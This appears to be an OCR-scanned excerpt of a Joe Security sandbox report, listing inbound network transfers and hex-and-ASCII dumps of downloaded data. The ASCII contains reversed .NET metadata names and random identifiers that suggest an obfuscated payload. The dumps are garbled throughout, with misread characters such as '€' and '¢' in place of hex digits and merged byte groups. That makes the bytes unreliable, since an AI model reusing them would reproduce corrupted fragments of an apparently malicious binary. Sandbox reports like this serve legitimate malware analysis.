2022-05-02 11:03:03 UTC 1627 IN
2022-05-02 11:03:03 UTC 1643 IN
2022-05-02 11:03:03 UTC 1659 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 9f ff 5f bb 2f 1b bb 17 af 90 f2 cb 5f 5f fe 1b 8f c6 e2 02 {7 a2 29 e6 5c 36 ce 72 c5 e6 68 a2 72 46 fd 02 b8 a2
18 €6 61 36 b8 72 f2 €6 4d a2 18 f2 42 b7 11 16 9f 52 cd 83 11 ¢6 73 52 f4 17 b1 f2 4b b6 24 17 85 52 ff 82 23 ¢7 61 52 c3
16 83 ec 4d a8 3c 08 a8 4c df 9c 3c d8 4c 4d fe 08 fd ec 4a a9 2e 08 4b 4c de 9d 05 d8 2a 4c ea 09 a5 6d b9 29 bb 88 71
cd 9c 1d bb 58 95 cd ¢8 89 1b 6¢ ec 29 35 89 2f cc 4b 1d bc 59 cb cc 7f 88 04 a7 01 e3 76 43 e2 07 92 d7 9d 93 07 07 a7
43 d5 a7 07 €3 76 43 €3 07 92 d7 77 93 02 07 a7 43 d2 96 36 d2 47 72 d2 36 ab €6 46 a2 37 36 96 64 e6 a5 37 28 46 72
d2 37 ab e6 46 b6 31 37 96 72 e4 ce 6e 8a le 2a 8a 6e 98 d1 72 b8 4d 6e ce 2a 32 ce 6e 89 26 2a 8a 6e be {7 4b bd 4d
6e ce 2a ae fe 5e b9 06 1a e9 Ob e9 8e 2e ca 5a 5e fe

Data Ascii: _/__)\6rhrFabrMBRsRK$R#aRM<L<LMJ.KL*Lm)gXI)5/KYvCCvCwC6Gr6F76d7(Fr7F17rn*nrMn*2n&* nKMn*"
bz

Data Raw: 8e 12 06 04 20 8e 12 1c bd 80 12 02 00 09 1c bd 80 12 01 20 06 20 8e 12 06 04 1c 8e 12 08 e5 80 12 1c 01
04 00 0b 08 €5 80 12 1c 01 03 20 08 1c 8e 12 06 04 18 8e 12 08 1c 02 03 00 08 08 1c 02 02 20 05 18 8e 12 06 04 14 8e
126884 12 88 84 11 02 03 00 Oc 68 84 12 88 84 11 02 02 20 09 14 8e 12 06 04 10 8e 12 68 84 12 1c 1c 1c 04 00 Ob 68
84 12 1c 1c 1c 03 20 08 10 8e 12 06 04 Oc 8e 12 1c 08 02 00 07 Oc 8e 12 06 04 08 8e 12 6¢ 84 12 08 01 03 00 Oa 08 8e
12 06 04 04 8e 12 6¢ 84 12 1c 1c 01 04 00 Ob 6¢ 84 12 1c 1c 01 03 20 08 04 8e 12 06 04 00 8e 12 6¢ 84 12 08 01 03 00
0a 00 8e 12 06 04 fc 8d 12 6¢ 84 12 88 84 11 08 01 04 00 0d fc 8d 12 06 04 f8 8d 12 02 dc 85 11 1c 01 04 00 Ob 8 8d 12
06 04 f4 8d 12 1c 01 02 00 07 f4 8d 12 06 04 fO 8d 12 f4 85 12 €8 84 12

Data Ascii: ~ hh hhIIlll

Data Raw: 83 12 15 08 74 85 12 00 00 05 70 85 12 70 85 12 08 02 20 09 1c 1c 08 02 20 05 74 85 12 06 04 29 82 12 00
28 05d9 81 12 d4 85 12 01 28 08 08 d4 85 12 01 28 06 ec 84 12 00 28 05 6¢ 85 12 00 28 05 70 85 12 00 28 05 70 85 12
000005 5¢ 85 11 a8 85 12 5¢ 85 11 d4 85 12 5¢ 85 11 a8 85 12 5¢ 85 11 d4 85 12 08 08 0a 07 1c 05 83 11 05 83 11 02
02 0009 0581 11 08 Oc 84 11 02 04 07 0a 02 10 ed 81 12 ed 81 12 02 00 Oa 03 03 Oe 02 20 05 Oe 01 0a 03 00 1e 00 1le
1d 08 02 01 10 09 49 83 12 1d 00 20 06 08 08 02 71 81 12 15 07 08 ed 81 12 01 20 06 a8 85 12 1d Oe 08 08 Oe Oe 1d 08
0Oe bd 80 12 Oe bd 80 12 bd 80 12 02 Oe d4 85 12 08 d4 85 12 1d d4 85 12 08 d4 85 12 1d d4 85 12 08 d4 85 12 1d d4 85
1208 d4 85 12 1d 02 02 08 08 02 71 81 12 15 1c 49 83 12 08 49 83 12 1d 49

Data Ascii: tpp )((((I(p(p\\ I g gl

Data Raw: 20 05 00 13 01 dd 81 12 15 00 20 09 00 81 12 01 45 81 12 15 08 08 08 f0 80 11 Oe 3d 81 12 00 81 12 Oe Oe
02 3d 81 12 0e 02 71 81 12 15 05 1d 3d 81 12 Oe 02 71 81 12 15 3d 81 12 02 00 81 12 01 dd 81 12 15 00 81 12 10 07 34
3d 81 12 01 07 05 €9 80 12 00 20 05 bd 80 12 08 €9 80 12 d1 81 12 cd 81 12 05 07 Of ec 80 12 06 04 bd 80 12 18 c9 81 1
20200 09 00 le 02 05 1d Oe 01 20 05 Oe 05 1d 01 00 05 Oe Oe Oe 02 20 05 ¢1 81 12 00 00 05 00 1e 01 07 04 Oe Oe 00
le 02 01 10 07 e4 80 12 00 00 05 e4 80 12 06 04 e0 80 12 00 00 05 1c Oe Oe 02 00 05 34 83 11 02 29 81 12 34 83 11 08
05 07 0d e0 80 12 06 04 dc 80 12 00 00 05 bd 81 11 b9 81 11 Oe Oe b5 81 11 04 00 0d dc 80 12 06 04 Oe 29 81 12 1d 01
00 07 d8 80 12 00 00 05 08 01 01 00 04 18 18 02 02 08 29 81 12 29 81 12 18

Data Ascii: E==q=q=4= 4)4)))

Data Raw: 73 68 56 00 31 52 6d 71 4d 62 39 53 69 6f 00 37 76 38 76 63 76 39 72 50 45 00 65 53 4d 6e 6a 74 39 46 71
72 00 6¢ 6d 31 49 79 65 39 33 33 4a 00 48 4a 71 54 5a 66 39 79 4e 79 00 48 68 47 31 59 71 39 79 41 4f 00 67 72 33 52
74 5a 39 67 66 4d 00 6d 55 69 44 53 50 39 36 34 49 00 6f 36 69 44 6d 68 39 57 68 62 00 62 52 78 69 42 67 39 68 47 43
00 77 44 72 51 6d 70 39 78 6b 63 00 70 6¢ 59 44 63 46 39 69 68 78 00 75 54 74 63 51 55 39 68 66 49 00 77 55 4e 78 48
6f 39 6e 63 58 00 6a 44 4f 79 42 6a 39 69 63 4c 00 48 5a 45 4a 70 45 39 56 65 49 00 66 32 38 5a 6b 37 39 58 4b 69 00
62 65 62 31 79 36 39 4a 6a 50 00 6e 71 32 65 63 32 39 50 68 68 00 74 53 4c 51 75 72 39 59 75 4e 00 71 36 6b 46 76 69
39 6f 37 64 00 61 77 77 75 43 57 39 35 4b 77 00 41 33 67 76 49 7a 5a 38 53

Data Ascii: shVv1RmgqMb9Sio7v8vcvIrPEeSMnjt9Fqrim1lye933JHIqTZf9yNyHhG1Yq9yAOgr3RtZ9gfMmUIDSP964l06iDm
h9WhbbRxiBg9hGCwDrQmp9xkcplYDcF9ihxuTtcQUhflwUNXxHo9NncXjDOyYBj9icLHZEJpE9Velf28Zk79XKibebly
69JjPng2ec29PhhtSLQur9YuNgékFvi9o7dawwuCW95KwA3gvIzZ8S

Data Raw: 4f 55 34 49 00 35 4b 4c 46 59 70 47 45 6e 00 53 75 39 66 32 67 51 54 56 4a 00 6¢ 50 6f 47 31 4d 51 63 6d 52
00 44 76 66 70 6¢ 70 51 69 47 45 00 33 43 58 74 79 4b 51 64 64 52 00 36 64 78 6¢ 39 46 51 34 65 72 00 55 45 4d 53 4f
7351 48 30 42 00 65 54 72 48 4b 6e 5a 4a 55 00 61 74 61 44 67 6e 69 72 74 53 6f 54 74 65 73 66 66 4f 5f 74 65 67 00
75 49 6d 43 6d 55 51 75 44 74 00 66 50 52 76 43 47 51 79 67 53 00 6f 6b 48 34 62 35 76 41 7a 00 4c 78 44 64 4f 62 63 6
d 66 00 48 4a 45 33 61 6f 51 66 4d 66 00 41 61 4b 6d 45 64 75 71 44 00 44 72 74 59 36 4e 51 74 71 66 00 76 5a 61 4f 59
6a 51 72 70 6a 00 41 61 41 70 42 6¢ 51 39 39 61 00 69 68 6b 4a 41 45 51 6a 37 70 00 55 44 33 59 6¢ 51 51 49 4d 66 00
7354 51 4a 45 37 51 5a 61 73 00 6e 59 39 34 55 75 39 6¢ 65 00 79 72

Data Ascii: OU4I5KLFYpGEnSu9f2gQTVJIIPoG1MQcmRDvfplpQIGE3CXtyKQddR6dxI9FQ4erUEMSOsQHOBe TrHK
nZJUataDgnirtSoTtesffO_teguimCmUQuUDtfPRvCGQygSokH4b5vAzLxDdObecmfHIE3ao0QfMfAaKmEdugDDrtYENQ
tqfvZaOYjQrpjAaApBIQ99aihkJAEQj7pUD3YIQQIMISTQIE7QZasnY94Uulleyr

Data Raw: 67 33 68 76 36 57 74 30 63 78 50 4e 00 79 47 32 77 48 75 55 48 73 35 61 58 36 57 65 53 70 52 45 68 00 56
71 46 63 56 66 4a 55 52 44 6¢ 74 36 57 51 52 62 4c 43 70 00 5a 61 67 69 74 34 59 6f 63 76 74 77 36 57 5a 4f 6b 4e 36
49 00 65 4b 54 50 34 70 32 61 63 4f 00 72 32 46 6e 6¢ 4b 32 51 6b 57 00 79 65 4b 54 00 79 72 61 6e 6f 69 74 63 69 44 5
40079 62 74 43 6¢ 67 4c 66 49 58 4f 65 36 57 68 75 72 32 4a 6¢ 00 73 32 65 4d 61 57 43 55 74 48 39 6b 36 57 4e 30 61
46 30 42 00 32 60 79 72 61 6e 6f 69 74 63 69 44 49 00 64 65 70 79 74 6e 75 00 64 36 55 41 39 51 32 35 49 4a 00 73 72
65 74 65 6d 61 72 61 50 78 65 64 6e 49 74 65 47 00 35 59 47 44 6a 37 32 56 34 58 00 6¢ 35 4d 52 37 31 6¢ 73 6d 49 66
66 36 57 37 52 39 53 5a 57 00 5a 58 45 41 4e 46 32 76 42 73 00 41 34 38

Data Ascii: g3hv6Wt0cxPNyG2wHuUUHs5aX6WeSpREhVqFcVIJURDItEWQRbLCpZagit4dYocvtw6WZOkN6IeKTP4p
2acOr2FnIK2QkWyeKTyranoitciDTybtClgLfIXOe6Whur2Jls2eMaWCUtH9k6WNOaF0B2 yranoitciDIdepytnud6 UA9Q251Js
retemaraPxednlteG5YGDj72V4XISMR71IsmIffeW7R9SZWZXEANF2vBsA48

Data Raw: 65 64 00 6e 61 70 53 65 6d 69 74 00 6e 61 70 53 65 6d 69 54 65 74 69 72 57 00 73 65 63 69 76 72 65 53 72
65 7474 61 6d 72 6f 46 00 65 70 79 74 00 74 63 65 6a 62 4f 64 65 7a 69 6¢ 61 69 74 69 6e 69 6e 55 74 65 47 00 34 58
55 46 46 48 68 72 52 58 76 41 72 57 74 50 65 54 5a 6f 00 35 4d 58 6a 62 44 44 36 5a 63 00 6e 69 67 69 72 4f 68 63 6f 7
045 00 78 61 4d 6e 69 4d 00 73 6b 63 69 54 00 73 64 6e 6f 63 65 73 69 6¢ 6¢ 69 4d 00 73 64 6e 6f 63 65 53 00 73 65 74
75 6e 69 4d 00 73 72 75 6f 48 00 73 79 61 44 00 63 55 34 70 6f 5a 33 34 65 4a 51 4f 72 57 4f 55 35 33 73 6d 00 65 54 6d
51 6b 4a 53 53 6d 69 4e 50 72 57 78 54 44 38 46 50 00 4c 5a 59 41 6d 4a 33 6d 78 4d 56 78 72 57 62 4c 5a 50 6d 45 00
65 63 61 70 73 65 6d 61 4e 74 6f 6f 52 00 6e 65 6b 6f 54 79 65 4b 63

Data Ascii: ednapSemitnapSemiTetirWsecivreSrettamroFepyttcejbOdezilaitininUte G4AXUFFHhrRXvArWtPeTZo5M
XjbDD6ZcnigirOhcopExaMniMskciTsdnocesilliMsdnoceSsetuniMsruoHsyaDcU4poZ34eJQOrWOU53smeTmQk
JSSmINPrWxTD8FPLZYAmMJI3mxMVxrWbLZPmEecapsemaNtooRnekoTyeKc

Data Raw: 50 00 73 72 65 74 6e 75 6f 43 6f 49 73 73 65 63 6f 72 50 00 73 74 69 6d 69 4c 61 74 6f 75 51 73 73 65 63 6f
7250 00 6e 6f 69 74 61 6d 72 6f 66 6e 49 63 69 73 61 42 73 73 65 63 6f 72 50 00 73 75 74 61 74 53 74 4e 6d 75 6d 69
78 61 4d 00 6e 65 7a 6f 72 46 74 6f 4e 73 6e 6f 69 74 63 61 73 6e 61 72 54 00 6e 6f 69 74 63 61 73 6e 61 72 54 6e 49 65
6¢C 69 46 65 74 75 63 65 78 45 74 6f 6e 6e 61 43 00 6e 6f 69 74 6f 6d 6f 72 50 64 65 72 69 75 71 65 52 6e 6f 69 74 63 61
73 6e 61 72 54 00 74 65 53 74 6f 4e 73 6b 63 61 62 6¢ 6¢ 61 43 65 70 6f 63 53 6e 6f 69 74 63 61 73 6e 61 72 54 00 74 6e
65 7365 72 50 79 64 61 65 72 6¢ 41 61 74 61 64 61 74 65 4d 66 78 54 00 65 74 6f 6d 65 52 64 65 74 72 6f 70 70 75 73
6e 55 67 6e 69 70 70 61 4d 64 65 74 63 61 73 6e 61 72 54 00 64

Data Ascii: PsretnuoColssecorPstimiLatouQssecorPnoitamrofnicisaBssecorPsutatStNmumixaMnezorFtoNsnoitcasnarTnoi
tcasnarTnleliFetucexEtonnaCnoitomorPderiugeRnoitcasnarTteStoNskcabllaCepocSnoitcasnarTtneserPydaerlA
atadateMfxTetomeRdetroppusnUgnippaMdetcasnarTd
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Timestamp transferred Direction
2022-05-02 11:03:03 UTC 1675 IN
2022-05-02 11:03:03 UTC 1691 IN
2022-05-02 11:03:03 UTC 1707 IN
2022-05-02 11:03:03 UTC 1723 IN
2022-05-02 11:03:03 UTC 1739 IN
2022-05-02 11:03:03 UTC 1755 IN
2022-05-02 11:03:03 UTC 1771 IN
2022-05-02 11:03:03 UTC 1787 IN
2022-05-02 11:03:03 UTC 1803 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 50 32 56 72 34 46 47 6e 78 62 68 46 35 31 77 62 00 6b 4e 5a 42 65 75 75 61 4d 66 44 30 62 61 6a 63 47 67
750044 45 79 75 6a 63 71 73 4¢c 79 79 4d 62 56 73 6e 62 75 52 00 4a 32 4b 34 68 34 69 31 32 4f 46 4b 62 53 51 6b 43
6d 62 00 45 77 65 56 6b 72 38 73 34 73 33 73 62 56 44 74 61 36 4d 00 6b 66 65 45 6e 54 64 47 63 54 71 47 62 57 48 57
45 46 74 00 49 4f 39 41 37 6e 55 33 36 36 73 4e 62 31 34 32 39 4f 6a 00 39 6d 4e 76 41 54 72 43 53 61 37 6¢ 62 75 42
7166 78 41 00 4a 57 58 39 79 42 58 6¢ 77 55 6e 51 62 51 64 52 6d 30 6a 00 4e 6b 71 72 74 31 50 67 6a 78 57 61 62 71
41 47 48 38 50 00 56 50 39 51 56 76 4c 45 67 6d 5a 64 62 68 65 4f 59 76 43 00 48 49 6e 75 32 72 67 70 62 33 65 35 62
57 51 75 51 4e 58 00 49 34 35 65 6e 6¢ 62 31 44 74 32 44 62 47 43 61 31 6b

Data Ascii: P2Vr4FGnxbhF51wbkNZBeuuaMfDObajcGguDEyujcqsLyyMbVsnbuRJ2K4h4i120FKbSQkCmbEweVk
r8s4s3shbVDta6MkfeEnTdGcTqGhWHWEFtIO9A7nU366sNb14290j9mNVATrCSa7lbuBgfxAJWX9yBXIwUnQbQdRmOj
Nkgrt1PgjxWabgAGH8PVP9QVVLEgmZdbheOYvCHInu2rgpb3e5bWQuQNXI45enlb1Dt2DbGCalk

Data Raw: 74 61 72 6f 63 65 44 65 75 6¢ 61 56 74 6¢ 75 61 66 65 44 00 72 65 7a 69 6¢ 61 69 72 65 53 6¢ 61 6d 69 63 65
4400 72 65 7a 69 6¢ 61 69 72 65 53 65 6d 69 54 65 74 61 44 00 72 65 7a 69 6¢ 61 69 72 65 53 64 65 6¢ 69 70 6d 6f 43
00 72 65 7a 69 6¢ 61 69 72 65 53 72 61 68 43 00 72 65 7a 69 6¢ 61 69 72 65 53 65 74 79 42 00 72 65 7a 69 6¢€ 61 69 72
65 53 6e 61 65 6¢ 6f 6f 42 00 72 65 7a 69 6¢ 61 69 72 65 53 62 6 6¢ 42 00 73 72 65 7a 69 6¢ 61 69 72 65 53 2e 66 75 42
6f 74 6f 72 50 00 72 6f 74 61 72 6f 63 65 44 79 61 72 72 41 00 6e 6f 69 74 61 7a 69 6¢ 61 69 72 65 53 2e 65 6d 69 74 6e
7552 2e 6d 65 74 73 79 53 00 72 65 7a 69 6¢ 61 69 72 65 53 74 63 65 6a 62 4f 6¢ 6d 58 00 72 65 7a 69 6¢ 61 69 72 65 5
3 6f 74 6f 72 50 6¢ 6d 58 00 6e 6f 69 74 70 69 72 63 73 65 44 2e

Data Ascii: taroceDeulaVtluafeDrezilaireSlamiceDrezilaireSemiTetaDrezilaireSdelipmoCrezilaireSrahCrezilaireSet
yBrezilaireSnaelooBrezilaireSbholBsrezilaireS.fuBotorProtaroceDyarrAnoitazilaireS.emitnuR.metsySrezilaire Stcejb
OlmXrezilaireSotorPImXnoitpircseD.

Data Raw: 00 20 cb 00 00 20 23 02 cb 00 00 20 cbh 00 00 20 03 02 cb 00 00 23 5a 00 00 1f a3 02 cb 00 00 23 5a 00 00 1f
8302 cb 00 00 23 5a 00 00 1f 63 02 cb 00 00 23 5a 00 00 1f 43 02 cb 00 00 23 5a 00 00 1f 23 02 cb 00 00 23 5a 00 00 1f
0302 cb 00 00 23 5a 00 00 1e e3 ca 8d 00 00 20 db 00 00 1e a3 ca 5f 00 00 20 d3 00 00 le a3 ca 5f 00 00 20 d3 00 00

1e 83 ca 8d 00 00 20 db 00 00 1e 83 ca 8d 00 00 20 db 00 00 1e 63 ca 5f 00 00 20 d3 00 00 1e 63 ca 5f 00 00 20 d3 00

00 1e 43 ca 8d 00 00 20 db 00 00 1e 43 02 cb 00 00 20 fb 00 00 1d ¢3 02 cb 00 00 20 cb 00 00 1d 43 02 cb 00 00 23 3a 0
000 1d 43 02 cb 00 00 23 3a 00 00 1d 23 02 cb 00 00 20 cb 00 00 1d 23 ca 1d 00 00 20 ¢3 00 00 1c 83 02 cb 00 00 20 bb
00 00 1c 83 02 cb 00 00 2d e2 00 00 1b ¢3 02 cb 00 00 20 9b 00 00

Data Ascii: # HZHZHZCHICHZ#HZ#Z __ c_c_CC CH:CH## -

Data Raw: 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00
00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00
00 00 00 71 05 00 02 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02
00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00
02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 03 00 00 00 00 71 05
00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71
05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05

Data Ascii: 0qqqqqadqaqqaaqaadqaadqdadgaagaaqa

Data Raw: 08 00 00 00 00 71 05 00 07 00 00 00 00 71 05 00 06 00 00 00 00 71 05 00 05 00 00 00 00 71 05 00 04 00 00
00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 Ob 00 00 00 00 71 05 00 Oa 00 00 00 00 71 05 00 09 00
00 00 00 71 05 00 08 00 00 00 00 71 05 00 07 00 00 00 00 71 05 00 06 00 00 00 00 71 05 00 05 00 00 00 00 71 05 00 04
00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 cd bb 00 04 00 00 00 00 cd e7 00 03 00 00 00 00 ce fc 00
02 00 00 00 00 cd bb 00 04 00 00 00 00 cd e7 00 03 00 00 00 00 ce fc 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05
00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 02 00 00 00 00 71
0500 01 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 01 00 00 00 00 71 05

Data Ascii: qqgqqaqqaaqaaqaaqaaqaaqad

Data Raw: 01 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 04 00 00
00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00
00 00 00 71 05 00 01 00 00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01
00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00
01 00 00 00 00 71 05 00 Oa 10 10 00 00 71 05 00 09 00 00 00 00 71 05 00 08 00 00 00 00 71 05 00 07 00 00 00 00 71 05
00 06 00 00 00 00 71 05 00 05 00 00 00 00 71 05 00 04 00 00 00 00 71 05 00 03 00 00 00 00 71 05 00 02 00 00 00 00 71
05 00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 71 05

Data Ascii: 0qqqqqadqadqaaqaadqaaadadaaagaada

Data Raw: 05 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01 00 00
00 00 03 6e 00 05 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01 00
00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1 00 01
00 00 00 00 03 b7 00 06 00 00 00 00 03 6e 00 05 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00
02 00 00 00 00 02 d1 00 01 00 00 00 00 03 70 00 04 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1
00 01 00 00 00 00 71 05 00 02 00 00 00 00 71 05 00 01 00 00 00 00 02 d1 00 01 00 00 00 00 03 6e 00 05 00 00 00 00 03
70 00 04 00 00 00 00 02 dc 00 03 00 00 00 00 02 da 00 02 00 00 00 00 02 d1

Data Ascii: pnpggnppgagnp

Data Raw: 00 00 00 1a 37 02 d4 00 00 70 51 18 10 00 00 00 07 81 38 1a 37 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00
1a 36 bd 8f 00 01 7e c2 00 16 00 00 00 07 81 24 1a 35 bd 87 00 00 75 59 00 46 00 03 00 00 00 00 1a 35 02 d4 00 00 70
51 18 10 00 00 00 07 81 10 1a 35 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 1a 35 bd 78 00 01 7e ¢2 00 16 00 00 00 07
80 fc 1a 35 91 e4 00 00 75 59 00 46 00 03 00 00 00 00 1a 35 02 d4 00 00 70 51 18 10 00 00 00 07 80 e8 1a 35 Oe 4c 00
00 00 62 18 06 00 03 00 00 00 00 1a 34 bd 6a 00 01 7e c2 00 16 00 00 00 07 80 d4 1a 33 86 32 00 00 75 59 00 46 00 03
00 00 00 00 1a 33 02 d4 00 00 70 51 18 10 00 00 00 07 80 cO 1a 33 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 1a 33 bd
5d 00 01 7e ¢2 00 16 00 00 00 07 80 ac 1a 33 39 8f 00 00 75 59 00 46 00 03

Data Ascii: 7pQ87Lb6~$5uYF5pQ5Lb5x~5uYF5pQ5Lb4j~32uYF3pQ3Lb3]~39uYF

Data Raw: 00 00 00 17 33 02 d4 00 00 70 51 18 10 00 00 00 07 56 d4 17 33 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00
17 33a7d500 01 7e c2 00 16 00 00 00 07 56 c0 17 33 49 39 00 00 75 59 00 46 00 03 00 00 00 00 17 33 02 d4 00 00 70
51 18 10 00 00 00 07 56 ac 17 33 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 17 33 a7 ¢8 00 01 7e c2 00 16 00 00 00 07
56 98 17 33 36 6f 00 00 75 59 00 46 00 03 00 00 00 00 17 33 02 d4 00 00 70 51 18 10 00 00 00 07 56 84 17 33 Oe 4c 00
00 00 62 18 06 00 03 00 00 00 00 17 33 a7 bb 00 01 7e c2 00 16 00 00 00 07 56 70 17 33 39 8f 00 00 75 59 00 46 00 03
00 00 00 00 17 33 02 d4 00 00 70 51 18 10 00 00 00 07 56 5¢ 17 33 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 17 33 a7
ac 00 01 7e c2 00 16 00 00 00 07 56 48 17 33 a7 a5 00 00 75 59 00 46 00 03

Data Ascii: 3pQV3Lb3~V3I9uYF3pQV3Lb3~V360uYF3pQV3Lb3~Vp39uYF3pQV\3Lb3~VH3uYF
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Timestamp transferred Direction
2022-05-02 11:03:03 UTC 1819 IN
2022-05-02 11:03:03 UTC 1835 IN
2022-05-02 11:03:03 UTC 1851 IN
2022-05-02 11:03:03 UTC 1867 IN
2022-05-02 11:03:03 UTC 1883 IN
2022-05-02 11:03:03 UTC 1899 IN
2022-05-02 11:03:03 UTC 1915 IN
2022-05-02 11:03:03 UTC 1931 IN
2022-05-02 11:03:03 UTC 1947 IN
2022-05-02 11:03:03 UTC 1963 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 00 00 14 77 02 d4 00 00 70 51 18 10 00 00 00 07 2d 40 14 77 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00
14 7591 d3 00 01 7e c2 00 16 00 00 00 07 2d 28 14 73 91 ca 00 00 75 59 00 46 00 03 00 00 00 00 14 73 02 d4 00 00 70
51 18 10 00 00 00 07 2d 14 14 73 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 14 72 91 bc 00 01 7e c2 00 16 00 00 00 07
2d 00 14 71 91 b6 00 00 75 59 00 46 00 03 00 00 00 00 14 71 02 d4 00 00 70 51 18 10 00 00 00 07 2c ec 14 71 Oe 4c 00
00 00 62 18 06 00 03 00 00 00 00 14 6f 91 a4 00 01 7e c2 00 16 00 00 00 07 2c d8 14 6d 91 9a 00 00 75 59 00 46 00 03
00 00 00 00 14 6d 02 d4 00 00 70 51 18 10 00 00 00 07 2c c4 14 6d Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 14 6b 91
89 00 01 7e c2 00 16 00 00 00 07 2c ac 14 69 91 80 00 00 75 59 00 46 00 03

Data Ascii: wpQ-@wLbu~-(suYFspQ-sLbr~-quYFgpQ,gLbo~,muYFmpQ,mLbk~,iuYF

Data Raw: 00 00 00 11 f1 02 d4 00 00 70 51 18 10 00 00 00 07 04 5c¢ 11 f1 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 11
f1 7d 04 00 01 7e c2 00 16 00 00 00 07 04 48 11 f1 70 ae 00 00 75 59 00 46 00 03 00 00 00 00 11 f1 02 d4 00 00 70 51
18 10 00 00 00 07 04 34 11 f1 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 11 f1 7c f7 00 01 7e c2 00 16 00 00 00 07 04 20
11 f1 70 ae 00 00 75 59 00 46 00 03 00 00 00 00 11 f1 02 d4 00 00 70 51 18 10 00 00 00 07 04 Oc 11 f1 Oe 4c 00 00 00 62
18 06 00 03 00 00 00 00 11 f1 7c ea 00 01 7e c2 00 16 00 00 00 07 03 8 11 f1 39 8f 00 00 75 59 00 46 00 03 00 00 00 00
11 f1 02 d4 00 00 70 51 18 10 00 00 00 07 03 e4 11 f1 Oe 4c 00 00 00 62 18 06 00 03 00 00 00 00 11 f1 7c dd 00 01 7e c2
00 16 00 00 00 07 03 dO 11 f1 36 6f 00 00 75 59 00 46 00 03

Data Ascii: pQ\Lb}~HpuYFpQA4Lb|~ puYFpQLb|~9uYFpQLb|~6ouYF

Data Raw: 06 26 50 0f 81 0d 1c 00 01 5f e1 02 ¢3 00 00 00 06 26 40 Of 7f 69 d7 00 00 00 62 18 86 00 00 00 06 25 ec Of 7f
69 c7 00 01 60 61 00 93 00 00 00 06 25 dc Of 7f 02 d8 00 01 60 4c 00 93 00 00 00 06 25 c8 Of 7f 02 d4 00 00 70 51 18 91
00 00 00 06 25 b4 Of 7 02 f8 00 01 57 43 02 ¢3 00 00 00 06 25 94 0f 7e 68 c4 00 01 5a 24 02 c3 00 00 00 06 25 38 0f 7d
68 c4 00 01 5a Oe 02 ¢3 00 00 00 06 24 d8 Of 7d 02 8 00 01 5a 03 02 ¢3 00 00 00 06 24 b8 0f 7d 68 b5 00 01 59 f8 02 c3
00 00 00 06 24 60 Of 7c 68 8f 00 01 57 22 02 3 00 00 00 06 24 10 Of 7b 68 51 00 01 5f ec 02 ¢3 00 00 00 06 23 ec Of 7b
0d 1c 00 01 5f e1 02 c3 00 00 00 06 23 dc Of 7a 68 51 00 01 56 eb 02 ¢3 00 00 00 06 23 0 0f 79 68 51 00 01 56 €0 02 c3
00 00 00 06 22 a4 Of 77 69 b5 00 00 00 62 18 86 00 00

Data Ascii: &P_&@ib%i*a% L%pQUWC%~hZ$%8Z$}Z$HYS [hW'${hQ_#{_#zhQVH#yhQV"wib

Data Raw: 04 60 c4 Oc 25 59 57 00 01 34 05 00 81 00 00 00 04 5f {8 Oc 1e 59 2e 00 01 33 eb 00 83 00 00 00 04 5a 68 Oc
1a59 1c 00 01 33 e0 00 81 00 00 00 04 59 38 Oc 18 59 12 00 01 33 d8 01 c5 00 00 00 04 59 2c Oc 17 59 09 00 01 33 d8
00 8500 00 00 04 59 14 Oc 17 02 f8 00 01 26 1c 01 c5 00 00 00 04 59 08 Oc 17 02 d4 00 00 70 51 18 91 00 00 00 04 58
